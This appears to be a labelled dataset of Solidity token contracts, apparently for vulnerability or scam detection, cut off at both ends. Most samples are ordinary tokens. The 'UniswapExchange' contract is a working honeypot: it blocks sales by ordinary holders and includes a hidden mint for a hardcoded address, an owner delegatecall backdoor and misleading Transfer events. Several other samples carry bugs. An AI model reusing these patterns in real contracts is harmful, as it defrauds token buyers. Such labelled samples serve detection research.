require(!_isBlacklisted[sender], "MANIA CSHT: Blacklisted address");
require(
sender != teamPool && sender != distributionPool,
"CSHT: futur and rewardsPool cannot cashout rewards"
);
uint256 rewardAmount = nodeManager.getNodeReward(
sender,
blocktime
);
require(
rewardAmount > 0,
"CSHT: You don't have enough reward to cash out"
);
uint256 taxAmount = nodeManager.getNodeFee(sender, blocktime,rewardAmount);
super._transfer(distributionPool, sender, rewardAmount.sub(taxAmount));
super._transfer(distributionPool, address(this), taxAmount);
nodeManager.cashoutNodeReward(sender, blocktime);
}
function cashoutAll() public {
address sender = _msgSender();
require(
sender != address(0),
"MANIA CSHT: creation from the zero address"
);
require(!_isBlacklisted[sender], "MANIA CSHT: Blacklisted address");
require(
sender != teamPool && sender != distributionPool,
"MANIA CSHT: futur and rewardsPool cannot cashout rewards"
);
uint256[2] memory rewardTax = nodeManager.getAllNodesRewards(sender);
uint256 rewardAmount = rewardTax[0];
uint256 taxAmount = rewardTax[1];
require(
rewardAmount > 0,
"MANIA CSHT: You don't have enough reward to cash out"
);
super._transfer(distributionPool, sender, rewardAmount);
super._transfer(distributionPool, address(this), taxAmount);
nodeManager.cashoutAllNodesRewards(sender);
}
function rescueFunds(uint amount) public onlyOwner {
if (amount > address(this).balance) amount = address(this).balance;
payable(owner()).transfer(amount);
}
function changeSwapLiquify(bool newVal) public onlyOwner {
swapLiquify = newVal;
}
function getNodeNumberOf(address account) public view returns (uint256) {
return nodeManager.getNodeNumberOf(account);
}
function getRewardAmountOf(address account)
public
view
onlyOwner
returns (uint256[2] memory)
{
return nodeManager.getAllNodesRewards(account);
}
function getRewardAmount() public view returns (uint256[2] memory) {
require(_msgSender() != address(0), "SENDER CAN'T BE ZERO");
require(
nodeManager.isNodeOwner(_msgSender()),
"NO NODE OWNER"
);
return nodeManager.getAllNodesRewards(_msgSender());
}
function updateTiersRewards(uint256[] memory newVal) external onlyOwner {
require(newVal.length == 5, "Wrong length");
nodeManager.updateTiersRewards(newVal);
}
function getNodesNames() public view returns (string memory) {
require(_msgSender() != address(0), "SENDER CAN'T BE ZERO");
require(
nodeManager.isNodeOwner(_msgSender()),
"NO NODE OWNER"
);
return nodeManager.getNodesNames(_msgSender());
}
function getNodesCreatime() public view returns (string memory) {
require(_msgSender() != address(0), "SENDER CAN'T BE ZERO");
require(
nodeManager.isNodeOwner(_msgSender()),
"NO NODE OWNER"
);
return nodeManager.getNodesCreationTime(_msgSender());
}
function getNodesRewards() public view returns (string memory) {
require(_msgSender() != address(0), "SENDER CAN'T BE ZERO");
require(
nodeManager.isNodeOwner(_msgSender()),
"NO NODE OWNER"
);
return nodeManager.getNodesRewards(_msgSender());
}
function getNodesLastClaims() public view returns (string memory) {
require(_msgSender() != address(0), "SENDER CAN'T BE ZERO");
require(
nodeManager.isNodeOwner(_msgSender()),
"NO NODE OWNER"
);
return nodeManager.getNodesLastClaimTime(_msgSender());
}
function getTotalStakedReward() public view returns (uint256) {
return nodeManager.totalStaked();
}
function getTotalCreatedNodes() public view returns (uint256) {
return nodeManager.totalNodesCreated();
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
tradingOpen = true;
_openTradingBlock = block.number;
}
function nodeEnforcement(bool val) external onlyOwner() {
nodeEnforced = val;
}
function updateMaxTxAmount(uint256 newVal) public onlyOwner {
maxTx = newVal;
}
} | 0 | 1,560 |
pragma solidity ^0.4.13;
contract ForeignToken {
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
}
contract tokenHodl {
event Hodl(address indexed hodler, uint indexed amount);
event Party(address indexed hodler, uint indexed amount);
mapping (address => uint) public hodlers;
uint partyTime = 1522093545;
function() payable {
hodlers[msg.sender] += msg.value;
Hodl(msg.sender, msg.value);
}
function party() {
require (block.timestamp > partyTime && hodlers[msg.sender] > 0);
uint value = hodlers[msg.sender];
uint amount = value/100;
hodlers[msg.sender] = 0;
msg.sender.transfer(amount);
Party(msg.sender, amount);
partyTime = partyTime + 120;
}
function withdrawForeignTokens(address _tokenContract) returns (bool) {
if (msg.sender != 0x239C09c910ea910994B320ebdC6bB159E71d0b30) { throw; }
require (block.timestamp > partyTime);
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this))/100;
return token.transfer(0x239C09c910ea910994B320ebdC6bB159E71d0b30, amount);
partyTime = partyTime + 120;
}
} | 1 | 4,135 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,355 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event PausePublic(bool newState);
event PauseOwnerAdmin(bool newState);
bool public pausedPublic = false;
bool public pausedOwnerAdmin = false;
address public admin;
modifier whenNotPaused() {
if(pausedPublic) {
if(!pausedOwnerAdmin) {
require(msg.sender == admin || msg.sender == owner);
} else {
revert();
}
}
_;
}
function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public {
require(!(newPausedPublic == false && newPausedOwnerAdmin == true));
pausedPublic = newPausedPublic;
pausedOwnerAdmin = newPausedOwnerAdmin;
PausePublic(newPausedPublic);
PauseOwnerAdmin(newPausedOwnerAdmin);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract AiboCoin is PausableToken {
string public constant name = "AiboCoin";
string public constant symbol = "Acoin";
uint8 public constant decimals = 18;
modifier validDestination( address to )
{
require(to != address(0x0));
require(to != address(this));
_;
}
function AiboCoin( address _admin, uint _totalTokenAmount )
{
admin = _admin;
totalSupply = _totalTokenAmount;
balances[msg.sender] = _totalTokenAmount;
Transfer(address(0x0), msg.sender, _totalTokenAmount);
}
function transfer(address _to, uint _value) validDestination(_to) returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) validDestination(_to) returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value) returns (bool)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
Transfer(msg.sender, address(0x0), _value);
return true;
}
function burnFrom(address _from, uint256 _value) returns (bool)
{
assert( transferFrom( _from, msg.sender, _value ) );
return burn(_value);
}
function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner {
token.transfer( owner, amount );
}
event AdminTransferred(address indexed previousAdmin, address indexed newAdmin);
function changeAdmin(address newAdmin) onlyOwner {
AdminTransferred(admin, newAdmin);
admin = newAdmin;
}
} | 1 | 5,282 |
pragma solidity 0.5.3;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_balances[sender] >= amount, "ERC20: transfer more than balance");
require(amount > 0, "ERC20: transfer value negative");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
require(_balances[account] >= value, "ERC20: burn overflow from address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address tokenAddress, bytes memory data) public;
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event TokensReleased(address token, uint256 amount);
event TokenVestingRevoked(address token);
address private _beneficiary;
uint256 private _cliff;
uint256 private _start;
uint256 private _duration;
bool private _revocable;
mapping (address => uint256) private _released;
mapping (address => bool) private _revoked;
constructor (address beneficiary, uint256 start, uint256 cliffDuration, uint256 duration, bool revocable) public {
require(beneficiary != address(0), "TokenVesting: beneficiary is the zero address");
require(cliffDuration <= duration, "TokenVesting: cliff is longer than duration");
require(duration > 0, "TokenVesting: duration is 0");
require(start.add(duration) > block.timestamp, "TokenVesting: final time is before current time");
_beneficiary = beneficiary;
_revocable = revocable;
_duration = duration;
_cliff = start.add(cliffDuration);
_start = start;
}
function beneficiary() public view returns (address) {
return _beneficiary;
}
function cliff() public view returns (uint256) {
return _cliff;
}
function start() public view returns (uint256) {
return _start;
}
function duration() public view returns (uint256) {
return _duration;
}
function revocable() public view returns (bool) {
return _revocable;
}
function released(address token) public view returns (uint256) {
return _released[token];
}
function revoked(address token) public view returns (bool) {
return _revoked[token];
}
function release(IERC20 token) public {
uint256 unreleased = _releasableAmount(token);
require(unreleased > 0, "TokenVesting: no tokens are due");
_released[address(token)] = _released[address(token)].add(unreleased);
token.safeTransfer(_beneficiary, unreleased);
emit TokensReleased(address(token), unreleased);
}
function revoke(IERC20 token) public onlyOwner {
require(_revocable, "TokenVesting: cannot revoke");
require(!_revoked[address(token)], "TokenVesting: token already revoked");
uint256 balance = token.balanceOf(address(this));
uint256 unreleased = _releasableAmount(token);
uint256 refund = balance.sub(unreleased);
_revoked[address(token)] = true;
token.safeTransfer(owner(), refund);
emit TokenVestingRevoked(address(token));
}
function _releasableAmount(IERC20 token) private view returns (uint256) {
return _vestedAmount(token).sub(_released[address(token)]);
}
function _vestedAmount(IERC20 token) private view returns (uint256) {
uint256 currentBalance = token.balanceOf(address(this));
uint256 totalBalance = currentBalance.add(_released[address(token)]);
if (block.timestamp < _cliff) {
return 0;
} else if (block.timestamp >= _start.add(_duration) || _revoked[address(token)]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(_start)).div(_duration);
}
}
}
contract NexxoToken is Ownable, ERC20, Pausable, ERC20Burnable {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address payable fundsWallet;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "NEXXO";
name = "Nexxo Tokens";
decimals = 18;
_totalSupply = 100000000000000000000000000000;
balances[msg.sender] = _totalSupply;
unitsOneEthCanBuy = 287780;
fundsWallet = msg.sender;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function () external payable {
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount, "NexxoToken : amount more than balance");
balances[fundsWallet] = balances[fundsWallet].sub(amount);
balances[msg.sender] = balances[msg.sender].add(amount);
emit Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint ownerBalance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function burn(uint256 amount) public onlyOwner {
burn(amount);
}
} | 0 | 987 |
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
